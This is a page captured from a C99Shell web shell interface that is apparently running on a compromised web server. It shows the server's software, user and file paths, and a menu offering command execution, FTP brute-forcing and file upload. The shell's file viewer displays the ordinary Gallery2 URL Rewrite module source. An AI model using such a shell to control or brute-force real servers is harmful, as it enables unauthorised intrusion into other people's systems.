!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/jerryg/public_html/gallery2/modules/rewrite/   drwxr-xr-x
Free 318.35 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.inc (10.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2007 Bharat Mediratta
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA  02110-1301, USA.
 */

/**
 * URL Rewrite Module
 *
 * Enables short URLs using Apache mod_rewrite, ISAPI_Rewrite, or PHP path info.
 *
 * @package Rewrite
 * @author Douglas Cau <douglas@cau.se>
 * @version $Revision: 16034 $
 */
class RewriteModule extends GalleryModule {

    function 
RewriteModule() {
    global 
$gallery;
    
$this->setId('rewrite');
    
$this->setName($gallery->i18n('URL Rewrite'));
    
$this->setDescription($gallery->i18n(
        
'Enables short URLs using Apache mod_rewrite, ISAPI Rewrite, or PathInfo'));
    
$this->setVersion('1.1.13'); /* Update RewriteModuleExtras::upgrade too! */
    
$this->setGroup('gallery'$gallery->i18n('Gallery'));
    
$this->setCallbacks('getSiteAdminViews|registerEventListeners');
    
$this->setRequiredCoreApi(array(75));
    
$this->setRequiredModuleApi(array(35));
    }

    
/**
     * @see GalleryModule::upgrade
     */
    
function upgrade($currentVersion) {
    
GalleryCoreApi::requireOnce('modules/rewrite/RewriteModuleExtras.inc');
    
$ret RewriteModuleExtras::upgrade($this$currentVersion);
    if (
$ret) {
        return 
$ret;
    }

    return 
null;
    }

    
/**
     * @see GalleryModule::uninstall
     */
    
function uninstall() {
    
GalleryCoreApi::requireOnce('modules/rewrite/classes/RewriteHelper.class');
    list (
$ret$rewriteParser) = RewriteHelper::getRewriteParser();
    if (
$ret && !($ret->getErrorCode() & ERROR_MISSING_VALUE)) {
        return 
$ret;
    }

    if (!
$ret) {
        list (
$ret) = $rewriteParser->saveActiveRules(array());
        if (
$ret) {
        return 
$ret;
        }
    }

    
$ret parent::uninstall();
    if (
$ret) {
        return 
$ret;
    }

    return 
null;
    }

    
/**
     * @see GalleryModule::registerEventListeners
     */
    
function registerEventListeners() {
    
$listener = new RewriteModule();
    
GalleryCoreApi::registerEventListener('Gallery::DeactivatePlugin'$listenertrue);
    
GalleryCoreApi::registerEventListener('Gallery::ActivatePlugin'$listenertrue);
    
GalleryCoreApi::registerEventListener('Gallery::UninstallPlugin'$listenertrue);
    }

    
/**
     * @see GalleryModule::needsConfiguration
     */
    
function needsConfiguration() {
    
GalleryCoreApi::requireOnce('modules/rewrite/classes/RewriteHelper.class');
    list (
$ret$rewriteParser) = RewriteHelper::getRewriteParser();
    if (
$ret && !($ret->getErrorCode() & ERROR_MISSING_VALUE)) {
        return array(
$retnull);
    } else if (
$ret && ($ret->getErrorCode() & ERROR_MISSING_VALUE)) {
        return array(
nulltrue);
    }

    list (
$ret$status) = $rewriteParser->needsConfiguration($this);
    if (
$ret) {
        return array(
$retnull);
    }

    return array(
null$status);
    }

    
/**
     * @see GalleryModule::autoConfigure
     */
    
function autoConfigure() {
    return array(
nullfalse);
    }

    
/**
     * @see GalleryModule::activate
     */
    
function activate($postActivationEvent=true) {
    
GalleryCoreApi::requireOnce('modules/rewrite/classes/RewriteHelper.class');
    list (
$ret$rewriteParser) = RewriteHelper::getRewriteParser();
    if (
$ret) {
        return array(
$retnull);
    }

    list (
$ret$activeRules) = GalleryCoreApi::getPluginParameter(
        
'module''rewrite''activeRules');
    if (
$ret) {
        return array(
$retnull);
    }
    
$activeRules unserialize($activeRules);

    if (empty(
$activeRules)) {
        
$activeRules = array('rewrite' => array(=> array('pattern' => 'v/%path%')));
        
/*
         * We'll break fast download cache if we activate the short URL for download items with
         * an inGallery parser
         */
        
if ($rewriteParser->getParserType() != 'inGallery') {
        
$activeRules['rewrite'][1] =
            array(
'pattern' => 'd/%itemId%-%serialNumber%/%fileName%');
        }
    }

    list (
$ret$code) = $rewriteParser->saveActiveRules($activeRules);
    if (
$ret) {
        return array(
$retnull);
    }
    if (
$code != REWRITE_STATUS_OK) {
        return array(
GalleryCoreApi::error(ERROR_CONFIGURATION_REQUIREDnullnull$code),
             
null);
    }

    list (
$ret$redirect) = parent::activate($postActivationEvent);
    if (
$ret) {
        return array(
$retnull);
    }

    return array(
null, array());
    }

    
/**
     * @see GalleryModule::handleEvent
     */
    
function handleEvent($event) {
    
$data $event->getData();
    if (
$data['pluginType'] == 'module' && $data['pluginId'] != 'rewrite') {
        
GalleryCoreApi::requireOnce('modules/rewrite/RewriteModuleExtras.inc');
        
GalleryCoreApi::requireOnce('modules/rewrite/classes/RewriteHelper.class');

        switch (
$event->getEventName()) {
        case 
'Gallery::ActivatePlugin':
        return array(
RewriteModuleExtras::handleActivatePlugin($this$data['pluginId']),
            
null);

        case 
'Gallery::DeactivatePlugin':
        return array(
RewriteModuleExtras::handleDeactivatePlugin($this$data['pluginId']),
            
null);

        case 
'Gallery::UninstallPlugin':
        return array(
RewriteModuleExtras::handleUninstallPlugin($this$data['pluginId']),
            
null);
        }
    }

    return array(
nullnull);
    }

    
/**
     * @see GalleryModule::getSiteAdminViews
     */
    
function getSiteAdminViews() {
    return array(
null, array(array('name' => $this->translate('URL Rewrite'),
        
'view' => 'rewrite.AdminRewrite')));
    }

    
/**
     * @see GalleryModule::performFactoryRegistrations
     */
    
function performFactoryRegistrations() {
    
GalleryCoreApi::requireOnce('modules/rewrite/classes/RewriteHelper.class');
    list (
$ret$rewriteParser) = RewriteHelper::getRewriteParser();
    if (
$ret) {
        return 
$ret;
    }

    
$rewriteUrlGenerator $rewriteParser->getUrlGeneratorId();
    
$ret GalleryCoreApi::registerFactoryImplementation(
        
'GalleryUrlGenerator'$rewriteUrlGenerator$rewriteUrlGenerator,
        
'modules/rewrite/classes/parsers/' $rewriteParser->getParserId() . '/'
        
$rewriteUrlGenerator '.class''rewrite'null2);
    if (
$ret) {
        return 
$ret;
    }

    
$ret GalleryCoreApi::registerFactoryImplementation(
        
'MaintenanceTask''RewriteCheckConflictTask''RewriteCheckConflictTask',
        
'modules/rewrite/classes/RewriteCheckConflictTask.class''rewrite'null);
    if (
$ret) {
        return 
$ret;
    }

    
$ret GalleryCoreApi::registerFactoryImplementation(
        
'RewriteApi''RewriteApi''RewriteApi',
        
'modules/rewrite/classes/RewriteApi.class''rewrite'null);
    if (
$ret) {
        return 
$ret;
    }

    return 
null;
    }

    
/**
     * @see GalleryModule::getConfigurationView
     */
    
function getConfigurationView() {
    return 
'rewrite.SetupRewrite';
    }

    
/**
     * @see GalleryModule::getRewriteRules
     */
    
function getRewriteRules() {
    
$rules = array();

    
/* Rule 0: Show Item */
    
$rules[0] = array(
        
'comment' => $this->translate('Show Item'),
        
'match' => array('view' => 'core.ShowItem'),
        
'pattern' => 'v/%path%',
        
'keywords' => array(
        
'path' => array(
            
'pattern' => '([^?]+)',
            
'help' => $this->translate('Path to an item (eg, /album/image.jpg.html)'),
            
'function' => array('rewrite''RewriteSimpleHelper''parsePath')),
        
'page' => array(
            
'pattern' => '([0-9]*)',
            
'help' => $this->translate('Page number in an album'),
            
'function' => array('rewrite''RewriteSimpleHelper''parsePage')),
        
'language' => array(
            
'pattern' => '([a-z]{2}|[a-z]{2}_[A-Z]{2})',
            
'help' => $this->translate('Current language (eg, en or de)'),
            
'function' => array('rewrite''RewriteSimpleHelper''parseLanguage'))),
        
'onLoad' => array('rewrite''RewriteSimpleHelper''loadItemIdFromPath'),
        
'help' => $this->translate('The general URL for viewing items.'));

    
/* Rule 1: Download Item */
    
$rules[1] = array(
        
'comment' => $this->translate('Download Item'),
        
'match' => array('view' => 'core.DownloadItem'),
        
'pattern' => 'd/%itemId%-%serialNumber%/%fileName%',
        
'keywords' => array(
        
'serialNumber' => array(
            
'pattern' => '([0-9]+)',
            
'help' => $this->translate(
            
'Ensures browsers do not use cached version when image has changed'),
            
'function' => array('rewrite''RewriteSimpleHelper''parseSerialNumber')),
        
'fileName' => array(
            
'pattern' => '([^/?]+)',
            
'help' => $this->translate('The item file name.'),
            
'function' => array('rewrite''RewriteSimpleHelper''parseFileName'))),
        
'help' => $this->translate('The general URL for downloading items.'));

    
/* Rule 4: Site Admin */
    
$rules[4] = array(
        
'comment' => $this->translate('Site Admin'),
        
'match' => array('view' => 'core.SiteAdmin'),
        
'pattern' => 'admin/',
        
'help' => $this->translate('Quick and easy way to access Site Admin.'));

    
/* Rule 2: File not found */
    
$rules[2] = array(
        
'comment' => $this->translate('404 File not found'),
        
'keywords' => array(
        
'path' => array(
            
'pattern' => '([^?]+)',
            
'ignore' => true)),
        
'queryString' => array('view' => 'rewrite.FileNotFound'),
        
'pattern' => '%path%',
        
'locked' => true);

    
/* Rule 3: Block hotlinked items */
    
$rules[3] = array(
        
'comment' => $this->translate('Block hotlinked items'),
        
'flags' => array('F'),
        
'restrict' => array('view' => 'core.DownloadItem'),
        
'exemptReferer' => true);

    
/* Rule 5: Send HTML for hotlinked items */
    
$rules[5] = array(
        
'comment' => $this->translate('Send HTML for hotlinked items'),
        
'restrict' => array(
        
GalleryUtilities::prefixFormVariable('view') => 'core.DownloadItem',
        
GalleryUtilities::prefixFormVariable('itemId') => '%itemId%'),
        
'exemptReferer' => true,
        
'queryString' => array('view' => 'rewrite.DownloadItem'),
        
'options' => array('forceDirect' => true),
        
'flags' => array('L'),
        
'help' => $this->translate('Blocks use of images in other sites (HTML creates broken'
        
' image), but allows linking to images.'));

    return 
$rules;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0056 ]--